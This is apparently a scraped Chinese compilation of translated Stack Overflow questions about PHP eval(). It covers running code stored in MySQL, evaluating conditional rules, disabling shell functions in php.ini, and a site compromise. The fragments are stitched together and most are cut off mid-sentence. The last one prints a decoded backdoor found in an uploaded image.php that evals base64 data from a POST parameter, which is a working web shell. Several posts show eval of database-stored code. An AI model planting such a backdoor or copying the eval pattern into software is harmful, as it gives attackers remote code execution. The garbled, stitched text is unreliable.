我正在开发一个php项目,我想运行从MySQL数据库中获取的代码。不可能注入(inject)不安全的代码,所以我唯一担心的就是性能。我应该使用eval()以便直接运行代码,还是解析它以便call_user_func()运行它?例如,如果我获取的代码是“myfunc(1,2,3);anotherFunc(3,2,1);”我可以直接对它进行eval()来运行代码。但是对于call_user_func(),我必须解析字符串才能运行它。那么在这种情况下使用哪个函数更好呢? 最佳答案 将PHP存储在数据库中本身就是一种糟糕的设计味道;即使在这
所以在数据库字段中有一个php函数。这是它的样子:'$put_fname_fn=function($filename){return$filename.'.Z';};'我是这样执行的:$code=fetchFromDatabase();//Getthefunctionstringeval($code);$put_fname_fn('MYFILE.TXT');//ConvertittoMYFILE.TXT.Z有没有更优雅的调用用户函数的方式?我尽量避免使用eval,但我没有其他方法可以做到这一点。 最佳答案 没有其他方法可以评估PHP
我正在创建一个验证器,它可以通过允许开发人员在条件规则中使用条件语句来处理复杂的条件。以一组规则为例:..."element_name":{"required":"conditional","conditions":{"requirements":"(4然后PHP将做的是遍历那些requirements并将它们评估为代码以返回一个bool值,该bool值将确定该元素是否是必需的。使用eval()函数的问题非常明显。所以我问,考虑到条件语句是唯一允许的,有没有比以下更安全的方法:$result=eval(element_name->requirements[0]);谢谢你们。----更新
我正在尝试像那样使用eval()函数:$foo='eval';$bar='echo1;';$foo($bar);但我收到一个错误:fatalerror:调用未定义的函数eval()这很奇怪,因为下面的代码是有效的$foo='base64_encode';$bar='foobar';echo$foo($bar);有人可以帮忙吗? 最佳答案 来自evaldocumentation:Note:Becausethisisalanguageconstructandnotafunction,itcannotbecalledusingvariab
作为背景,我正在编写用于解析csv文件并对每个csv文件的每一行执行某些操作的php代码。“内容”取决于行中的值。使用“if”结构测试值很容易,但是,硬编码条件并不是最佳的两个原因:有数百种可能的条件需要测试。这只是开始。将来会增加更多条件。不需要为每个条件测试每个csv行;只要行的条件评估为真,就无需评估其他条件。理想情况下,对于我的情况,“if”条件将存储在postgres表中,一个接一个地放入字符串变量中,然后每个变量将由单个if结构(在某种类型的循环内)进行测试,直到出现一个条件评估为true。简化示例:$arrayOne[3]="foo";//inpractice,theva
我有一个完全自定义的PHP站点,其中包含大量数据库调用。我刚刚被注入(inject)黑客攻击。下面的这一小段代码出现在我的许多PHP页面中。我对我的SQL调用等非常小心;它们都是这种格式:$query=sprintf("UPDATESalesSET`Shipped`='1',`Tracking_Number`='%s'WHEREID='%s'LIMIT1;",mysql_real_escape_string($trackNo),mysql_real_escape_string($id));$result=mysql_query($query);mysql_close();郑重声明,我很
关于eval()作为函数的官方文档说:Amongotherthings,thiscanbeusefulforstoringcodeinadatabasetextfieldforlaterexecution.我对此非常困惑。PHP文档是否建议将PHP行存储到数据库中?什么?这不是很不安全吗?如果我知道数据库中有一个作为PHP执行的字符串怎么办?那不是特别危险吗?我只需要一个Sql注入(inject)来对该网站做任何我想做的事,我想做的事。我可以删除整个数据库,我可以从脚本中获取所有内容,我可以做任何事情。这怎么会有这么大的帮助?能否请您提供一些示例,说明此eval()有何用处?另外,我可
我在试图禁用我的php.ini中的某些功能时遇到了一个小问题。首先,我不是服务器的所有者,所以我无法更改主php.ini配置。但是我试图用服务器所有者给我的指令来改变它。这是我在我创建的php.ini文件中放入的行disable_functions=eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source在我的phpinfo()中,我可以在本地值和主值中看到这些功能被禁用。但我的问题从这里开始。在女巫的同一个文件中,我运行phpinf
我在当前项目中使用eval()是这样的:if(class_exists($class_name))//$class_namedependsonuserinputeval($class_name.'::MyStaticMethod()');eval()当且仅当名称为$class_name的类存在时执行,所以它有点安全,但我仍然认为这不是最好的解决方案。在没有eval()的情况下,我是否可以像上面的代码那样做? 最佳答案 我最近回答了thisquestion.myanswer的最后一部分完美地回答了这个问题,并且比这里提供的答案对fut
好的,这是我用Google搜索的内容:似乎在qcubed目录中上传了一个名为“image.php”的上传文件。该image.php文件包含以下base64代码:aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2VjaG8gJzMxMzkzNjJlMzIzMzMxMmQzMTM3MzIyZTMyMzgzYTY5NjY2MTYzNjU3MjZkNzA3NTYyNmQ2OTYzNjUzYTYxNjY2MTYzMzQzMjY1NzI2OTMwMzInOw==解码它添加到这个:if(isset($_